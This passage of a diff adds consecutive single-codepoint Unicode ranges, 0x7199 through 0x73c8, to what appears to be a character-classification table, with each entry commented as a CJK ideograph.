+ [0x7199, 0x7199], /* CJK Ideograph */
+ [0x719a, 0x719a], /* CJK Ideograph */
+ [0x719b, 0x719b], /* CJK Ideograph */
+ [0x719c, 0x719c], /* CJK Ideograph */
+ [0x719d, 0x719d], /* CJK Ideograph */
+ [0x719e, 0x719e], /* CJK Ideograph */
+ [0x719f, 0x719f], /* CJK Ideograph */
+ [0x71a0, 0x71a0], /* CJK Ideograph */
+ [0x71a1, 0x71a1], /* CJK Ideograph */
+ [0x71a2, 0x71a2], /* CJK Ideograph */
+ [0x71a3, 0x71a3], /* CJK Ideograph */
+ [0x71a4, 0x71a4], /* CJK Ideograph */
+ [0x71a5, 0x71a5], /* CJK Ideograph */
+ [0x71a6, 0x71a6], /* CJK Ideograph */
+ [0x71a7, 0x71a7], /* CJK Ideograph */
+ [0x71a8, 0x71a8], /* CJK Ideograph */
+ [0x71a9, 0x71a9], /* CJK Ideograph */
+ [0x71aa, 0x71aa], /* CJK Ideograph */
+ [0x71ab, 0x71ab], /* CJK Ideograph */
+ [0x71ac, 0x71ac], /* CJK Ideograph */
+ [0x71ad, 0x71ad], /* CJK Ideograph */
+ [0x71ae, 0x71ae], /* CJK Ideograph */
+ [0x71af, 0x71af], /* CJK Ideograph */
+ [0x71b0, 0x71b0], /* CJK Ideograph */
+ [0x71b1, 0x71b1], /* CJK Ideograph */
+ [0x71b2, 0x71b2], /* CJK Ideograph */
+ [0x71b3, 0x71b3], /* CJK Ideograph */
+ [0x71b4, 0x71b4], /* CJK Ideograph */
+ [0x71b5, 0x71b5], /* CJK Ideograph */
+ [0x71b6, 0x71b6], /* CJK Ideograph */
+ [0x71b7, 0x71b7], /* CJK Ideograph */
+ [0x71b8, 0x71b8], /* CJK Ideograph */
+ [0x71b9, 0x71b9], /* CJK Ideograph */
+ [0x71ba, 0x71ba], /* CJK Ideograph */
+ [0x71bb, 0x71bb], /* CJK Ideograph */
+ [0x71bc, 0x71bc], /* CJK Ideograph */
+ [0x71bd, 0x71bd], /* CJK Ideograph */
+ [0x71be, 0x71be], /* CJK Ideograph */
+ [0x71bf, 0x71bf], /* CJK Ideograph */
+ [0x71c0, 0x71c0], /* CJK Ideograph */
+ [0x71c1, 0x71c1], /* CJK Ideograph */
+ [0x71c2, 0x71c2], /* CJK Ideograph */
+ [0x71c3, 0x71c3], /* CJK Ideograph */
+ [0x71c4, 0x71c4], /* CJK Ideograph */
+ [0x71c5, 0x71c5], /* CJK Ideograph */
+ [0x71c6, 0x71c6], /* CJK Ideograph */
+ [0x71c7, 0x71c7], /* CJK Ideograph */
+ [0x71c8, 0x71c8], /* CJK Ideograph */
+ [0x71c9, 0x71c9], /* CJK Ideograph */
+ [0x71ca, 0x71ca], /* CJK Ideograph */
+ [0x71cb, 0x71cb], /* CJK Ideograph */
+ [0x71cc, 0x71cc], /* CJK Ideograph */
+ [0x71cd, 0x71cd], /* CJK Ideograph */
+ [0x71ce, 0x71ce], /* CJK Ideograph */
+ [0x71cf, 0x71cf], /* CJK Ideograph */
+ [0x71d0, 0x71d0], /* CJK Ideograph */
+ [0x71d1, 0x71d1], /* CJK Ideograph */
+ [0x71d2, 0x71d2], /* CJK Ideograph */
+ [0x71d3, 0x71d3], /* CJK Ideograph */
+ [0x71d4, 0x71d4], /* CJK Ideograph */
+ [0x71d5, 0x71d5], /* CJK Ideograph */
+ [0x71d6, 0x71d6], /* CJK Ideograph */
+ [0x71d7, 0x71d7], /* CJK Ideograph */
+ [0x71d8, 0x71d8], /* CJK Ideograph */
+ [0x71d9, 0x71d9], /* CJK Ideograph */
+ [0x71da, 0x71da], /* CJK Ideograph */
+ [0x71db, 0x71db], /* CJK Ideograph */
+ [0x71dc, 0x71dc], /* CJK Ideograph */
+ [0x71dd, 0x71dd], /* CJK Ideograph */
+ [0x71de, 0x71de], /* CJK Ideograph */
+ [0x71df, 0x71df], /* CJK Ideograph */
+ [0x71e0, 0x71e0], /* CJK Ideograph */
+ [0x71e1, 0x71e1], /* CJK Ideograph */
+ [0x71e2, 0x71e2], /* CJK Ideograph */
+ [0x71e3, 0x71e3], /* CJK Ideograph */
+ [0x71e4, 0x71e4], /* CJK Ideograph */
+ [0x71e5, 0x71e5], /* CJK Ideograph */
+ [0x71e6, 0x71e6], /* CJK Ideograph */
+ [0x71e7, 0x71e7], /* CJK Ideograph */
+ [0x71e8, 0x71e8], /* CJK Ideograph */
+ [0x71e9, 0x71e9], /* CJK Ideograph */
+ [0x71ea, 0x71ea], /* CJK Ideograph */
+ [0x71eb, 0x71eb], /* CJK Ideograph */
+ [0x71ec, 0x71ec], /* CJK Ideograph */
+ [0x71ed, 0x71ed], /* CJK Ideograph */
+ [0x71ee, 0x71ee], /* CJK Ideograph */
+ [0x71ef, 0x71ef], /* CJK Ideograph */
+ [0x71f0, 0x71f0], /* CJK Ideograph */
+ [0x71f1, 0x71f1], /* CJK Ideograph */
+ [0x71f2, 0x71f2], /* CJK Ideograph */
+ [0x71f3, 0x71f3], /* CJK Ideograph */
+ [0x71f4, 0x71f4], /* CJK Ideograph */
+ [0x71f5, 0x71f5], /* CJK Ideograph */
+ [0x71f6, 0x71f6], /* CJK Ideograph */
+ [0x71f7, 0x71f7], /* CJK Ideograph */
+ [0x71f8, 0x71f8], /* CJK Ideograph */
+ [0x71f9, 0x71f9], /* CJK Ideograph */
+ [0x71fa, 0x71fa], /* CJK Ideograph */
+ [0x71fb, 0x71fb], /* CJK Ideograph */
+ [0x71fc, 0x71fc], /* CJK Ideograph */
+ [0x71fd, 0x71fd], /* CJK Ideograph */
+ [0x71fe, 0x71fe], /* CJK Ideograph */
+ [0x71ff, 0x71ff], /* CJK Ideograph */
+ [0x7200, 0x7200], /* CJK Ideograph */
+ [0x7201, 0x7201], /* CJK Ideograph */
+ [0x7202, 0x7202], /* CJK Ideograph */
+ [0x7203, 0x7203], /* CJK Ideograph */
+ [0x7204, 0x7204], /* CJK Ideograph */
+ [0x7205, 0x7205], /* CJK Ideograph */
+ [0x7206, 0x7206], /* CJK Ideograph */
+ [0x7207, 0x7207], /* CJK Ideograph */
+ [0x7208, 0x7208], /* CJK Ideograph */
+ [0x7209, 0x7209], /* CJK Ideograph */
+ [0x720a, 0x720a], /* CJK Ideograph */
+ [0x720b, 0x720b], /* CJK Ideograph */
+ [0x720c, 0x720c], /* CJK Ideograph */
+ [0x720d, 0x720d], /* CJK Ideograph */
+ [0x720e, 0x720e], /* CJK Ideograph */
+ [0x720f, 0x720f], /* CJK Ideograph */
+ [0x7210, 0x7210], /* CJK Ideograph */
+ [0x7211, 0x7211], /* CJK Ideograph */
+ [0x7212, 0x7212], /* CJK Ideograph */
+ [0x7213, 0x7213], /* CJK Ideograph */
+ [0x7214, 0x7214], /* CJK Ideograph */
+ [0x7215, 0x7215], /* CJK Ideograph */
+ [0x7216, 0x7216], /* CJK Ideograph */
+ [0x7217, 0x7217], /* CJK Ideograph */
+ [0x7218, 0x7218], /* CJK Ideograph */
+ [0x7219, 0x7219], /* CJK Ideograph */
+ [0x721a, 0x721a], /* CJK Ideograph */
+ [0x721b, 0x721b], /* CJK Ideograph */
+ [0x721c, 0x721c], /* CJK Ideograph */
+ [0x721d, 0x721d], /* CJK Ideograph */
+ [0x721e, 0x721e], /* CJK Ideograph */
+ [0x721f, 0x721f], /* CJK Ideograph */
+ [0x7220, 0x7220], /* CJK Ideograph */
+ [0x7221, 0x7221], /* CJK Ideograph */
+ [0x7222, 0x7222], /* CJK Ideograph */
+ [0x7223, 0x7223], /* CJK Ideograph */
+ [0x7224, 0x7224], /* CJK Ideograph */
+ [0x7225, 0x7225], /* CJK Ideograph */
+ [0x7226, 0x7226], /* CJK Ideograph */
+ [0x7227, 0x7227], /* CJK Ideograph */
+ [0x7228, 0x7228], /* CJK Ideograph */
+ [0x7229, 0x7229], /* CJK Ideograph */
+ [0x722a, 0x722a], /* CJK Ideograph */
+ [0x722b, 0x722b], /* CJK Ideograph */
+ [0x722c, 0x722c], /* CJK Ideograph */
+ [0x722d, 0x722d], /* CJK Ideograph */
+ [0x722e, 0x722e], /* CJK Ideograph */
+ [0x722f, 0x722f], /* CJK Ideograph */
+ [0x7230, 0x7230], /* CJK Ideograph */
+ [0x7231, 0x7231], /* CJK Ideograph */
+ [0x7232, 0x7232], /* CJK Ideograph */
+ [0x7233, 0x7233], /* CJK Ideograph */
+ [0x7234, 0x7234], /* CJK Ideograph */
+ [0x7235, 0x7235], /* CJK Ideograph */
+ [0x7236, 0x7236], /* CJK Ideograph */
+ [0x7237, 0x7237], /* CJK Ideograph */
+ [0x7238, 0x7238], /* CJK Ideograph */
+ [0x7239, 0x7239], /* CJK Ideograph */
+ [0x723a, 0x723a], /* CJK Ideograph */
+ [0x723b, 0x723b], /* CJK Ideograph */
+ [0x723c, 0x723c], /* CJK Ideograph */
+ [0x723d, 0x723d], /* CJK Ideograph */
+ [0x723e, 0x723e], /* CJK Ideograph */
+ [0x723f, 0x723f], /* CJK Ideograph */
+ [0x7240, 0x7240], /* CJK Ideograph */
+ [0x7241, 0x7241], /* CJK Ideograph */
+ [0x7242, 0x7242], /* CJK Ideograph */
+ [0x7243, 0x7243], /* CJK Ideograph */
+ [0x7244, 0x7244], /* CJK Ideograph */
+ [0x7245, 0x7245], /* CJK Ideograph */
+ [0x7246, 0x7246], /* CJK Ideograph */
+ [0x7247, 0x7247], /* CJK Ideograph */
+ [0x7248, 0x7248], /* CJK Ideograph */
+ [0x7249, 0x7249], /* CJK Ideograph */
+ [0x724a, 0x724a], /* CJK Ideograph */
+ [0x724b, 0x724b], /* CJK Ideograph */
+ [0x724c, 0x724c], /* CJK Ideograph */
+ [0x724d, 0x724d], /* CJK Ideograph */
+ [0x724e, 0x724e], /* CJK Ideograph */
+ [0x724f, 0x724f], /* CJK Ideograph */
+ [0x7250, 0x7250], /* CJK Ideograph */
+ [0x7251, 0x7251], /* CJK Ideograph */
+ [0x7252, 0x7252], /* CJK Ideograph */
+ [0x7253, 0x7253], /* CJK Ideograph */
+ [0x7254, 0x7254], /* CJK Ideograph */
+ [0x7255, 0x7255], /* CJK Ideograph */
+ [0x7256, 0x7256], /* CJK Ideograph */
+ [0x7257, 0x7257], /* CJK Ideograph */
+ [0x7258, 0x7258], /* CJK Ideograph */
+ [0x7259, 0x7259], /* CJK Ideograph */
+ [0x725a, 0x725a], /* CJK Ideograph */
+ [0x725b, 0x725b], /* CJK Ideograph */
+ [0x725c, 0x725c], /* CJK Ideograph */
+ [0x725d, 0x725d], /* CJK Ideograph */
+ [0x725e, 0x725e], /* CJK Ideograph */
+ [0x725f, 0x725f], /* CJK Ideograph */
+ [0x7260, 0x7260], /* CJK Ideograph */
+ [0x7261, 0x7261], /* CJK Ideograph */
+ [0x7262, 0x7262], /* CJK Ideograph */
+ [0x7263, 0x7263], /* CJK Ideograph */
+ [0x7264, 0x7264], /* CJK Ideograph */
+ [0x7265, 0x7265], /* CJK Ideograph */
+ [0x7266, 0x7266], /* CJK Ideograph */
+ [0x7267, 0x7267], /* CJK Ideograph */
+ [0x7268, 0x7268], /* CJK Ideograph */
+ [0x7269, 0x7269], /* CJK Ideograph */
+ [0x726a, 0x726a], /* CJK Ideograph */
+ [0x726b, 0x726b], /* CJK Ideograph */
+ [0x726c, 0x726c], /* CJK Ideograph */
+ [0x726d, 0x726d], /* CJK Ideograph */
+ [0x726e, 0x726e], /* CJK Ideograph */
+ [0x726f, 0x726f], /* CJK Ideograph */
+ [0x7270, 0x7270], /* CJK Ideograph */
+ [0x7271, 0x7271], /* CJK Ideograph */
+ [0x7272, 0x7272], /* CJK Ideograph */
+ [0x7273, 0x7273], /* CJK Ideograph */
+ [0x7274, 0x7274], /* CJK Ideograph */
+ [0x7275, 0x7275], /* CJK Ideograph */
+ [0x7276, 0x7276], /* CJK Ideograph */
+ [0x7277, 0x7277], /* CJK Ideograph */
+ [0x7278, 0x7278], /* CJK Ideograph */
+ [0x7279, 0x7279], /* CJK Ideograph */
+ [0x727a, 0x727a], /* CJK Ideograph */
+ [0x727b, 0x727b], /* CJK Ideograph */
+ [0x727c, 0x727c], /* CJK Ideograph */
+ [0x727d, 0x727d], /* CJK Ideograph */
+ [0x727e, 0x727e], /* CJK Ideograph */
+ [0x727f, 0x727f], /* CJK Ideograph */
+ [0x7280, 0x7280], /* CJK Ideograph */
+ [0x7281, 0x7281], /* CJK Ideograph */
+ [0x7282, 0x7282], /* CJK Ideograph */
+ [0x7283, 0x7283], /* CJK Ideograph */
+ [0x7284, 0x7284], /* CJK Ideograph */
+ [0x7285, 0x7285], /* CJK Ideograph */
+ [0x7286, 0x7286], /* CJK Ideograph */
+ [0x7287, 0x7287], /* CJK Ideograph */
+ [0x7288, 0x7288], /* CJK Ideograph */
+ [0x7289, 0x7289], /* CJK Ideograph */
+ [0x728a, 0x728a], /* CJK Ideograph */
+ [0x728b, 0x728b], /* CJK Ideograph */
+ [0x728c, 0x728c], /* CJK Ideograph */
+ [0x728d, 0x728d], /* CJK Ideograph */
+ [0x728e, 0x728e], /* CJK Ideograph */
+ [0x728f, 0x728f], /* CJK Ideograph */
+ [0x7290, 0x7290], /* CJK Ideograph */
+ [0x7291, 0x7291], /* CJK Ideograph */
+ [0x7292, 0x7292], /* CJK Ideograph */
+ [0x7293, 0x7293], /* CJK Ideograph */
+ [0x7294, 0x7294], /* CJK Ideograph */
+ [0x7295, 0x7295], /* CJK Ideograph */
+ [0x7296, 0x7296], /* CJK Ideograph */
+ [0x7297, 0x7297], /* CJK Ideograph */
+ [0x7298, 0x7298], /* CJK Ideograph */
+ [0x7299, 0x7299], /* CJK Ideograph */
+ [0x729a, 0x729a], /* CJK Ideograph */
+ [0x729b, 0x729b], /* CJK Ideograph */
+ [0x729c, 0x729c], /* CJK Ideograph */
+ [0x729d, 0x729d], /* CJK Ideograph */
+ [0x729e, 0x729e], /* CJK Ideograph */
+ [0x729f, 0x729f], /* CJK Ideograph */
+ [0x72a0, 0x72a0], /* CJK Ideograph */
+ [0x72a1, 0x72a1], /* CJK Ideograph */
+ [0x72a2, 0x72a2], /* CJK Ideograph */
+ [0x72a3, 0x72a3], /* CJK Ideograph */
+ [0x72a4, 0x72a4], /* CJK Ideograph */
+ [0x72a5, 0x72a5], /* CJK Ideograph */
+ [0x72a6, 0x72a6], /* CJK Ideograph */
+ [0x72a7, 0x72a7], /* CJK Ideograph */
+ [0x72a8, 0x72a8], /* CJK Ideograph */
+ [0x72a9, 0x72a9], /* CJK Ideograph */
+ [0x72aa, 0x72aa], /* CJK Ideograph */
+ [0x72ab, 0x72ab], /* CJK Ideograph */
+ [0x72ac, 0x72ac], /* CJK Ideograph */
+ [0x72ad, 0x72ad], /* CJK Ideograph */
+ [0x72ae, 0x72ae], /* CJK Ideograph */
+ [0x72af, 0x72af], /* CJK Ideograph */
+ [0x72b0, 0x72b0], /* CJK Ideograph */
+ [0x72b1, 0x72b1], /* CJK Ideograph */
+ [0x72b2, 0x72b2], /* CJK Ideograph */
+ [0x72b3, 0x72b3], /* CJK Ideograph */
+ [0x72b4, 0x72b4], /* CJK Ideograph */
+ [0x72b5, 0x72b5], /* CJK Ideograph */
+ [0x72b6, 0x72b6], /* CJK Ideograph */
+ [0x72b7, 0x72b7], /* CJK Ideograph */
+ [0x72b8, 0x72b8], /* CJK Ideograph */
+ [0x72b9, 0x72b9], /* CJK Ideograph */
+ [0x72ba, 0x72ba], /* CJK Ideograph */
+ [0x72bb, 0x72bb], /* CJK Ideograph */
+ [0x72bc, 0x72bc], /* CJK Ideograph */
+ [0x72bd, 0x72bd], /* CJK Ideograph */
+ [0x72be, 0x72be], /* CJK Ideograph */
+ [0x72bf, 0x72bf], /* CJK Ideograph */
+ [0x72c0, 0x72c0], /* CJK Ideograph */
+ [0x72c1, 0x72c1], /* CJK Ideograph */
+ [0x72c2, 0x72c2], /* CJK Ideograph */
+ [0x72c3, 0x72c3], /* CJK Ideograph */
+ [0x72c4, 0x72c4], /* CJK Ideograph */
+ [0x72c5, 0x72c5], /* CJK Ideograph */
+ [0x72c6, 0x72c6], /* CJK Ideograph */
+ [0x72c7, 0x72c7], /* CJK Ideograph */
+ [0x72c8, 0x72c8], /* CJK Ideograph */
+ [0x72c9, 0x72c9], /* CJK Ideograph */
+ [0x72ca, 0x72ca], /* CJK Ideograph */
+ [0x72cb, 0x72cb], /* CJK Ideograph */
+ [0x72cc, 0x72cc], /* CJK Ideograph */
+ [0x72cd, 0x72cd], /* CJK Ideograph */
+ [0x72ce, 0x72ce], /* CJK Ideograph */
+ [0x72cf, 0x72cf], /* CJK Ideograph */
+ [0x72d0, 0x72d0], /* CJK Ideograph */
+ [0x72d1, 0x72d1], /* CJK Ideograph */
+ [0x72d2, 0x72d2], /* CJK Ideograph */
+ [0x72d3, 0x72d3], /* CJK Ideograph */
+ [0x72d4, 0x72d4], /* CJK Ideograph */
+ [0x72d5, 0x72d5], /* CJK Ideograph */
+ [0x72d6, 0x72d6], /* CJK Ideograph */
+ [0x72d7, 0x72d7], /* CJK Ideograph */
+ [0x72d8, 0x72d8], /* CJK Ideograph */
+ [0x72d9, 0x72d9], /* CJK Ideograph */
+ [0x72da, 0x72da], /* CJK Ideograph */
+ [0x72db, 0x72db], /* CJK Ideograph */
+ [0x72dc, 0x72dc], /* CJK Ideograph */
+ [0x72dd, 0x72dd], /* CJK Ideograph */
+ [0x72de, 0x72de], /* CJK Ideograph */
+ [0x72df, 0x72df], /* CJK Ideograph */
+ [0x72e0, 0x72e0], /* CJK Ideograph */
+ [0x72e1, 0x72e1], /* CJK Ideograph */
+ [0x72e2, 0x72e2], /* CJK Ideograph */
+ [0x72e3, 0x72e3], /* CJK Ideograph */
+ [0x72e4, 0x72e4], /* CJK Ideograph */
+ [0x72e5, 0x72e5], /* CJK Ideograph */
+ [0x72e6, 0x72e6], /* CJK Ideograph */
+ [0x72e7, 0x72e7], /* CJK Ideograph */
+ [0x72e8, 0x72e8], /* CJK Ideograph */
+ [0x72e9, 0x72e9], /* CJK Ideograph */
+ [0x72ea, 0x72ea], /* CJK Ideograph */
+ [0x72eb, 0x72eb], /* CJK Ideograph */
+ [0x72ec, 0x72ec], /* CJK Ideograph */
+ [0x72ed, 0x72ed], /* CJK Ideograph */
+ [0x72ee, 0x72ee], /* CJK Ideograph */
+ [0x72ef, 0x72ef], /* CJK Ideograph */
+ [0x72f0, 0x72f0], /* CJK Ideograph */
+ [0x72f1, 0x72f1], /* CJK Ideograph */
+ [0x72f2, 0x72f2], /* CJK Ideograph */
+ [0x72f3, 0x72f3], /* CJK Ideograph */
+ [0x72f4, 0x72f4], /* CJK Ideograph */
+ [0x72f5, 0x72f5], /* CJK Ideograph */
+ [0x72f6, 0x72f6], /* CJK Ideograph */
+ [0x72f7, 0x72f7], /* CJK Ideograph */
+ [0x72f8, 0x72f8], /* CJK Ideograph */
+ [0x72f9, 0x72f9], /* CJK Ideograph */
+ [0x72fa, 0x72fa], /* CJK Ideograph */
+ [0x72fb, 0x72fb], /* CJK Ideograph */
+ [0x72fc, 0x72fc], /* CJK Ideograph */
+ [0x72fd, 0x72fd], /* CJK Ideograph */
+ [0x72fe, 0x72fe], /* CJK Ideograph */
+ [0x72ff, 0x72ff], /* CJK Ideograph */
+ [0x7300, 0x7300], /* CJK Ideograph */
+ [0x7301, 0x7301], /* CJK Ideograph */
+ [0x7302, 0x7302], /* CJK Ideograph */
+ [0x7303, 0x7303], /* CJK Ideograph */
+ [0x7304, 0x7304], /* CJK Ideograph */
+ [0x7305, 0x7305], /* CJK Ideograph */
+ [0x7306, 0x7306], /* CJK Ideograph */
+ [0x7307, 0x7307], /* CJK Ideograph */
+ [0x7308, 0x7308], /* CJK Ideograph */
+ [0x7309, 0x7309], /* CJK Ideograph */
+ [0x730a, 0x730a], /* CJK Ideograph */
+ [0x730b, 0x730b], /* CJK Ideograph */
+ [0x730c, 0x730c], /* CJK Ideograph */
+ [0x730d, 0x730d], /* CJK Ideograph */
+ [0x730e, 0x730e], /* CJK Ideograph */
+ [0x730f, 0x730f], /* CJK Ideograph */
+ [0x7310, 0x7310], /* CJK Ideograph */
+ [0x7311, 0x7311], /* CJK Ideograph */
+ [0x7312, 0x7312], /* CJK Ideograph */
+ [0x7313, 0x7313], /* CJK Ideograph */
+ [0x7314, 0x7314], /* CJK Ideograph */
+ [0x7315, 0x7315], /* CJK Ideograph */
+ [0x7316, 0x7316], /* CJK Ideograph */
+ [0x7317, 0x7317], /* CJK Ideograph */
+ [0x7318, 0x7318], /* CJK Ideograph */
+ [0x7319, 0x7319], /* CJK Ideograph */
+ [0x731a, 0x731a], /* CJK Ideograph */
+ [0x731b, 0x731b], /* CJK Ideograph */
+ [0x731c, 0x731c], /* CJK Ideograph */
+ [0x731d, 0x731d], /* CJK Ideograph */
+ [0x731e, 0x731e], /* CJK Ideograph */
+ [0x731f, 0x731f], /* CJK Ideograph */
+ [0x7320, 0x7320], /* CJK Ideograph */
+ [0x7321, 0x7321], /* CJK Ideograph */
+ [0x7322, 0x7322], /* CJK Ideograph */
+ [0x7323, 0x7323], /* CJK Ideograph */
+ [0x7324, 0x7324], /* CJK Ideograph */
+ [0x7325, 0x7325], /* CJK Ideograph */
+ [0x7326, 0x7326], /* CJK Ideograph */
+ [0x7327, 0x7327], /* CJK Ideograph */
+ [0x7328, 0x7328], /* CJK Ideograph */
+ [0x7329, 0x7329], /* CJK Ideograph */
+ [0x732a, 0x732a], /* CJK Ideograph */
+ [0x732b, 0x732b], /* CJK Ideograph */
+ [0x732c, 0x732c], /* CJK Ideograph */
+ [0x732d, 0x732d], /* CJK Ideograph */
+ [0x732e, 0x732e], /* CJK Ideograph */
+ [0x732f, 0x732f], /* CJK Ideograph */
+ [0x7330, 0x7330], /* CJK Ideograph */
+ [0x7331, 0x7331], /* CJK Ideograph */
+ [0x7332, 0x7332], /* CJK Ideograph */
+ [0x7333, 0x7333], /* CJK Ideograph */
+ [0x7334, 0x7334], /* CJK Ideograph */
+ [0x7335, 0x7335], /* CJK Ideograph */
+ [0x7336, 0x7336], /* CJK Ideograph */
+ [0x7337, 0x7337], /* CJK Ideograph */
+ [0x7338, 0x7338], /* CJK Ideograph */
+ [0x7339, 0x7339], /* CJK Ideograph */
+ [0x733a, 0x733a], /* CJK Ideograph */
+ [0x733b, 0x733b], /* CJK Ideograph */
+ [0x733c, 0x733c], /* CJK Ideograph */
+ [0x733d, 0x733d], /* CJK Ideograph */
+ [0x733e, 0x733e], /* CJK Ideograph */
+ [0x733f, 0x733f], /* CJK Ideograph */
+ [0x7340, 0x7340], /* CJK Ideograph */
+ [0x7341, 0x7341], /* CJK Ideograph */
+ [0x7342, 0x7342], /* CJK Ideograph */
+ [0x7343, 0x7343], /* CJK Ideograph */
+ [0x7344, 0x7344], /* CJK Ideograph */
+ [0x7345, 0x7345], /* CJK Ideograph */
+ [0x7346, 0x7346], /* CJK Ideograph */
+ [0x7347, 0x7347], /* CJK Ideograph */
+ [0x7348, 0x7348], /* CJK Ideograph */
+ [0x7349, 0x7349], /* CJK Ideograph */
+ [0x734a, 0x734a], /* CJK Ideograph */
+ [0x734b, 0x734b], /* CJK Ideograph */
+ [0x734c, 0x734c], /* CJK Ideograph */
+ [0x734d, 0x734d], /* CJK Ideograph */
+ [0x734e, 0x734e], /* CJK Ideograph */
+ [0x734f, 0x734f], /* CJK Ideograph */
+ [0x7350, 0x7350], /* CJK Ideograph */
+ [0x7351, 0x7351], /* CJK Ideograph */
+ [0x7352, 0x7352], /* CJK Ideograph */
+ [0x7353, 0x7353], /* CJK Ideograph */
+ [0x7354, 0x7354], /* CJK Ideograph */
+ [0x7355, 0x7355], /* CJK Ideograph */
+ [0x7356, 0x7356], /* CJK Ideograph */
+ [0x7357, 0x7357], /* CJK Ideograph */
+ [0x7358, 0x7358], /* CJK Ideograph */
+ [0x7359, 0x7359], /* CJK Ideograph */
+ [0x735a, 0x735a], /* CJK Ideograph */
+ [0x735b, 0x735b], /* CJK Ideograph */
+ [0x735c, 0x735c], /* CJK Ideograph */
+ [0x735d, 0x735d], /* CJK Ideograph */
+ [0x735e, 0x735e], /* CJK Ideograph */
+ [0x735f, 0x735f], /* CJK Ideograph */
+ [0x7360, 0x7360], /* CJK Ideograph */
+ [0x7361, 0x7361], /* CJK Ideograph */
+ [0x7362, 0x7362], /* CJK Ideograph */
+ [0x7363, 0x7363], /* CJK Ideograph */
+ [0x7364, 0x7364], /* CJK Ideograph */
+ [0x7365, 0x7365], /* CJK Ideograph */
+ [0x7366, 0x7366], /* CJK Ideograph */
+ [0x7367, 0x7367], /* CJK Ideograph */
+ [0x7368, 0x7368], /* CJK Ideograph */
+ [0x7369, 0x7369], /* CJK Ideograph */
+ [0x736a, 0x736a], /* CJK Ideograph */
+ [0x736b, 0x736b], /* CJK Ideograph */
+ [0x736c, 0x736c], /* CJK Ideograph */
+ [0x736d, 0x736d], /* CJK Ideograph */
+ [0x736e, 0x736e], /* CJK Ideograph */
+ [0x736f, 0x736f], /* CJK Ideograph */
+ [0x7370, 0x7370], /* CJK Ideograph */
+ [0x7371, 0x7371], /* CJK Ideograph */
+ [0x7372, 0x7372], /* CJK Ideograph */
+ [0x7373, 0x7373], /* CJK Ideograph */
+ [0x7374, 0x7374], /* CJK Ideograph */
+ [0x7375, 0x7375], /* CJK Ideograph */
+ [0x7376, 0x7376], /* CJK Ideograph */
+ [0x7377, 0x7377], /* CJK Ideograph */
+ [0x7378, 0x7378], /* CJK Ideograph */
+ [0x7379, 0x7379], /* CJK Ideograph */
+ [0x737a, 0x737a], /* CJK Ideograph */
+ [0x737b, 0x737b], /* CJK Ideograph */
+ [0x737c, 0x737c], /* CJK Ideograph */
+ [0x737d, 0x737d], /* CJK Ideograph */
+ [0x737e, 0x737e], /* CJK Ideograph */
+ [0x737f, 0x737f], /* CJK Ideograph */
+ [0x7380, 0x7380], /* CJK Ideograph */
+ [0x7381, 0x7381], /* CJK Ideograph */
+ [0x7382, 0x7382], /* CJK Ideograph */
+ [0x7383, 0x7383], /* CJK Ideograph */
+ [0x7384, 0x7384], /* CJK Ideograph */
+ [0x7385, 0x7385], /* CJK Ideograph */
+ [0x7386, 0x7386], /* CJK Ideograph */
+ [0x7387, 0x7387], /* CJK Ideograph */
+ [0x7388, 0x7388], /* CJK Ideograph */
+ [0x7389, 0x7389], /* CJK Ideograph */
+ [0x738a, 0x738a], /* CJK Ideograph */
+ [0x738b, 0x738b], /* CJK Ideograph */
+ [0x738c, 0x738c], /* CJK Ideograph */
+ [0x738d, 0x738d], /* CJK Ideograph */
+ [0x738e, 0x738e], /* CJK Ideograph */
+ [0x738f, 0x738f], /* CJK Ideograph */
+ [0x7390, 0x7390], /* CJK Ideograph */
+ [0x7391, 0x7391], /* CJK Ideograph */
+ [0x7392, 0x7392], /* CJK Ideograph */
+ [0x7393, 0x7393], /* CJK Ideograph */
+ [0x7394, 0x7394], /* CJK Ideograph */
+ [0x7395, 0x7395], /* CJK Ideograph */
+ [0x7396, 0x7396], /* CJK Ideograph */
+ [0x7397, 0x7397], /* CJK Ideograph */
+ [0x7398, 0x7398], /* CJK Ideograph */
+ [0x7399, 0x7399], /* CJK Ideograph */
+ [0x739a, 0x739a], /* CJK Ideograph */
+ [0x739b, 0x739b], /* CJK Ideograph */
+ [0x739c, 0x739c], /* CJK Ideograph */
+ [0x739d, 0x739d], /* CJK Ideograph */
+ [0x739e, 0x739e], /* CJK Ideograph */
+ [0x739f, 0x739f], /* CJK Ideograph */
+ [0x73a0, 0x73a0], /* CJK Ideograph */
+ [0x73a1, 0x73a1], /* CJK Ideograph */
+ [0x73a2, 0x73a2], /* CJK Ideograph */
+ [0x73a3, 0x73a3], /* CJK Ideograph */
+ [0x73a4, 0x73a4], /* CJK Ideograph */
+ [0x73a5, 0x73a5], /* CJK Ideograph */
+ [0x73a6, 0x73a6], /* CJK Ideograph */
+ [0x73a7, 0x73a7], /* CJK Ideograph */
+ [0x73a8, 0x73a8], /* CJK Ideograph */
+ [0x73a9, 0x73a9], /* CJK Ideograph */
+ [0x73aa, 0x73aa], /* CJK Ideograph */
+ [0x73ab, 0x73ab], /* CJK Ideograph */
+ [0x73ac, 0x73ac], /* CJK Ideograph */
+ [0x73ad, 0x73ad], /* CJK Ideograph */
+ [0x73ae, 0x73ae], /* CJK Ideograph */
+ [0x73af, 0x73af], /* CJK Ideograph */
+ [0x73b0, 0x73b0], /* CJK Ideograph */
+ [0x73b1, 0x73b1], /* CJK Ideograph */
+ [0x73b2, 0x73b2], /* CJK Ideograph */
+ [0x73b3, 0x73b3], /* CJK Ideograph */
+ [0x73b4, 0x73b4], /* CJK Ideograph */
+ [0x73b5, 0x73b5], /* CJK Ideograph */
+ [0x73b6, 0x73b6], /* CJK Ideograph */
+ [0x73b7, 0x73b7], /* CJK Ideograph */
+ [0x73b8, 0x73b8], /* CJK Ideograph */
+ [0x73b9, 0x73b9], /* CJK Ideograph */
+ [0x73ba, 0x73ba], /* CJK Ideograph */
+ [0x73bb, 0x73bb], /* CJK Ideograph */
+ [0x73bc, 0x73bc], /* CJK Ideograph */
+ [0x73bd, 0x73bd], /* CJK Ideograph */
+ [0x73be, 0x73be], /* CJK Ideograph */
+ [0x73bf, 0x73bf], /* CJK Ideograph */
+ [0x73c0, 0x73c0], /* CJK Ideograph */
+ [0x73c1, 0x73c1], /* CJK Ideograph */
+ [0x73c2, 0x73c2], /* CJK Ideograph */
+ [0x73c3, 0x73c3], /* CJK Ideograph */
+ [0x73c4, 0x73c4], /* CJK Ideograph */
+ [0x73c5, 0x73c5], /* CJK Ideograph */
+ [0x73c6, 0x73c6], /* CJK Ideograph */
+ [0x73c7, 0x73c7], /* CJK Ideograph */
+ [0x73c8, 0x73c8], /* CJK Ideograph */
